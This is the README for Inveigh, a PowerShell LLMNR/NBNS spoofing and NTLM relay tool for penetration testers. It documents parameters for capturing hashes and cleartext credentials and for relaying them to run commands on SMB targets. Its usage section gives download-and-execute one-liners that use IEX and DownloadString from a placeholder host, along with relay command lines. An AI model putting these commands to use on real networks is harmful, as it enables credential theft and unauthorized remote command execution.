Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool designed to assist penetration testers that find themselves limited to a Windows system.
- The main Inveigh LLMNR/NBNS spoofer function.
- Elevated Administrator or SYSTEM
- IPv4 LLMNR/NBNS spoofer with granular control
- NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB
- Basic auth cleartext credential capture over HTTP/HTTPS
- WPAD server capable of hosting a basic or custom wpad.dat file
- HTTP/HTTPS server capable of hosting limited content
- Granular control of console and file output
- Run time control
- LLMNR/NBNS spoofing is performed by packet sniffing and responding through raw sockets.
- SMB challenge/response captures are performed by sniffing over the host system's SMB service.
- IP - Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpooferIP' parameter is not set.
- SpooferIP - Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.
- SpooferHostsReply - Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS.
- SpooferHostsIgnore - Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS.
- SpooferIPsReply - Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS.
- SpooferIPsIgnore - Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.
- SpooferRepeat - Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured.
- LLMNR - Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing.
- LLMNRTTL - Default = 30 Seconds: Specify a custom LLMNR TTL in seconds for the response packet.
- NBNS - Default = Disabled: (Y/N) Enable/Disable NBNS spoofing.
- NBNSTTL - Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet.
- NBNSTypes - Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name
- HTTP - Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture.
- HTTPS - Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the function does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store.
- HTTPAuth - Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests.
- HTTPBasicRealm - Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.
- HTTPDir - Specify a full directory path to enable hosting of basic content through the HTTP/HTTPS listener.
- HTTPDefaultFile - Specify a filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used for wpad.dat requests.
- HTTPDefaultEXE - Specify an EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for EXE requests.
- HTTPResponse - Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. This parameter will not be used if HTTPDir is set. Use PowerShell character escapes where necessary.
- HTTPSCertAppID - Specify a valid application GUID for use with the ceriticate.
- HTTPSCertThumbprint - Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx.
- WPADAuth - Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts.
- WPADEmptyFile - Default = Enabled: (Y/N) Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. Enabling this setting can reduce the amount of redundant wpad.dat requests. This parameter is ignored when using WPADIP, WPADPort, or WPADResponse.
- WPADIP - Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.
- WPADPort - Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.
- WPADDirectHosts - Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy.
- WPADResponse - Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. Use PowerShell character escapes where necessary.
- SMB - Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server. Block TCP ports 445/139 or kill the SMB services if you need to prevent login requests from being processed by the Inveigh host.
- Challenge - Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures.
- MachineAccounts - Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts.
- SMBRelay - Default = Disabled: (Y/N) Enable/Disable SMB relay. Note that Inveigh-Relay.ps1 must be loaded into memory.
- SMBRelayTarget - IP address of system to target for SMB relay.
- SMBRelayCommand - Command to execute on SMB relay target. Use PowerShell character escapes where necessary.
- SMBRelayUsernames - Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.
- SMBRelayAutoDisable - Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target.
- SMBRelayNetworkTimeout - Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent.
- ConsoleOutput - Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.
- ConsoleStatus - Default = Disabled: (Integer) Set interval in minutes for displaying all unique captured hashes and credentials. This is useful for displaying full capture lists when running through a shell that does not have access to the support functions.
- ConsoleUnique - Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time console output is enabled.
- FileOutput - Default = Disabled: (Y/N) Enable/Disable real time file output.
- FileUnique - Default = Enabled: (Y/N) Enable/Disable outputting challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time file output is enabled.
- StatusOutput - Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.
- OutputStreamOnly - Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled.
- OutputDir - Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled.
- ShowHelp - Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
- RunTime - Default = Unlimited: (Integer) Set the run time duration in minutes.
- Inspect - (Switch) Disable LLMNR, NBNS, HTTP, HTTPS, and SMB in order to only inspect LLMNR/NBNS traffic.
- Tool - Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire
- The remote (Hot Potato method)/unprivileged NBNS brute force spoofer function. This function can be used to perform NBNS spoofing across subnets and/or perform NBNS spoofing without an elevated administrator or SYSTEM shell.
- Regular User
- Targeted IPv4 NBNS brute force spoofer with granular control
- NTLMv1/NTLMv2 challenge/response capture over HTTP
- Granular control of console and file output
- Run time control
- SpooferIP - Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh Brute Force host.
- SpooferTarget - Specify an IP address to target for brute force NBNS spoofing.
- Hostname - Default = WPAD: Specify a hostname for NBNS spoofing.
- NBNS - Default = Disabled: (Y/N) Enable/Disable NBNS spoofing.
- NBNSPause Default = Disabled: (Integer) Specify the number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received.
- NBNSTTL - Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet.
- HTTP - Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture.
- HTTPIP - Default = Any: Specify a TCP IP address for the HTTP listener.
- HTTPPort - Default = 80: Specify a TCP port for the HTTP listener.
- HTTPAuth - Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests.
- HTTPBasicRealm - Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. Use PowerShell character escapes where necessary.
- HTTPResponse - Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests.
- WPADAuth - Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts.
- WPADIP - Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.
- WPADPort - Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.
- WPADDirectHosts - Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy.
- WPADResponse - Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. Use PowerShell character escapes where necessary.
- Challenge - Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures.
- MachineAccounts - Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts.
- ConsoleOutput - Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.
- FileOutput - Default = Disabled: (Y/N) Enable/Disable real time file output.
- StatusOutput - Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.
- OutputStreamOnly - Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Brute Force through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled.
- OutputDir - Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled.
- ShowHelp - Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
- RunCount - Default = Unlimited: (Integer) Set the number of captures to perform before auto-exiting.
- RunTime - Default = Unlimited: (Integer) Set the run time duration in minutes.
- Tool - Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire
- The NTLMv2 HTTP/HTTPS to SMB relay command execution function. This function can be used with or without Invoke-Inveigh.
- Elevated Administrator or SYSTEM
- HTTP/HTTPS to SMB NTLMv2 relay with granular control
- NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS
- Granular control of console and file output
- Can be executed as either a standalone function or through Invoke-Inveigh
- HTTP - Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture.
- HTTPS - Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store.
- HTTPSCertAppID - Specify a valid application GUID for use with the ceriticate.
- HTTPSCertThumbprint - Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx.
- Challenge - Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be pulled from the SMB relay target.
- MachineAccounts - Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts.
- WPADAuth - Default = NTLM: (Anonymous,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts.
- SMBRelayTarget - IP address of system to target for SMB relay.
- SMBRelayCommand - Command to execute on SMB relay target. Use PowerShell character escapes where necessary.
- SMBRelayUsernames - Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.
- SMBRelayAutoDisable - Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target.
- SMBRelayNetworkTimeout - Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent.
- ConsoleOutput - Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.
- FileOutput - Default = Disabled: (Y/N) Enable/Disable real time file output.
- StatusOutput - Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.
- OutputStreamOnly - Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled.
- OutputDir - Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled.
- ShowHelp - Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
- RunTime - Default = Unlimited: (Integer) Set the run time duration in minutes.
- Tool - Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire
- Get-Inveigh - Get queued console output
- Get-InveighCleartext - Get all captured cleartext credentials
- Get-InveighLog - Get log entries
- Get-InveighNTLMv1 - Get all or unique (-unique) captured NTLMv1 challenge/response hashes
- Get-InveighNTLMv2 - Get all or unique (-unique) captured NTLMv2 challenge/response hashes
- Watch-Inveigh - Enable real time console output
- Clear-Inveigh - Clear Inveigh data from memory
- Stop-Inveigh - Stop all running Inveigh functions
- The local LLMNR/NBNS services do not need to be disabled on the host system.
- LLMNR/NBNS spoofer will point victims to host system's SMB service, keep account lockout scenarios in mind.
- Kerberos should downgrade for SMB authentication due to spoofed hostnames not being valid in DNS.
- Ensure that any needed LMMNR,NBNS,SMB,HTTP,HTTPS ports are open within any local firewall on the host system.
- If you copy/paste challenge/response captures from the console window for password cracking, ensure that there are no extra carriage returns.
- Tested minimums are PowerShell 2.0 and .NET 3.5
-
To import with Import-Module:
Import-Module ./Inveigh.psd1 -
To import using dot source method:
. ./Inveigh.ps1
. ./Inveigh-BruteForce.ps1
. ./Inveigh-Relay.ps1 -
To load into memory using Invoke-Expression:
IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh-Relay.ps1")
-
To execute with default settings:
Invoke-Inveigh -
To load and execute with one line:
Import-Module ./Inveigh.ps1;Invoke-Inveigh -
To execute with parameters (Use 'Get-Help -parameter * Invoke-Inveigh' for a full list of parameters):
Invoke-Inveigh -IP 'local IP' -SpooferIP 'local or remote IP' -LLMNR Y/N -NBNS Y/N -NBNSTypes 00,03,20,1B -HTTP Y/N -HTTPS Y/N -SMB Y/N -Repeat Y/N -ConsoleOutput Y/N -FileOutput Y/N -OutputDir 'valid folder path' -
To execute with SMB relay enabled through Invoke-Inveigh:
Invoke-Inveigh -SMBRelay Y -SMBRelayTarget 'valid SMB target IP' -SMBRelayCommand "valid command to run on target" -
To execute SMB relay with only Invoke-InveighRelay:
Invoke-InveighRelay -SMBRelayTarget 'valid SMB target IP' -SMBRelayCommand "valid command to run on target" -
To execute Inveigh-BruteForce against a target:
Invoke-InveighRelay -SpooferTarget 'remote or local target IP'
- PowerShell Empire - https://github.com/PowerShellEmpire/Empire
- PS>Attack - https://github.com/jaredhaight/psattack
- p0wnedShell - https://github.com/Cn33liz/p0wnedShell
- Anyone that posted .NET packet sniffing examples.
- Responder - https://github.com/SpiderLabs/Responder
- Impacket - https://github.com/CoreSecurity/impacket
Invoke-Inveigh execution with real time console and file output enabled
Retrieval of captured NTLM2 challenge/response hashes with Get-InveighNTLMv2
HTTP to SMB Relay
Module import and execution through one of Ben Turner and Dave Hardy's Metasploit Interactive PowerShell Session payloads
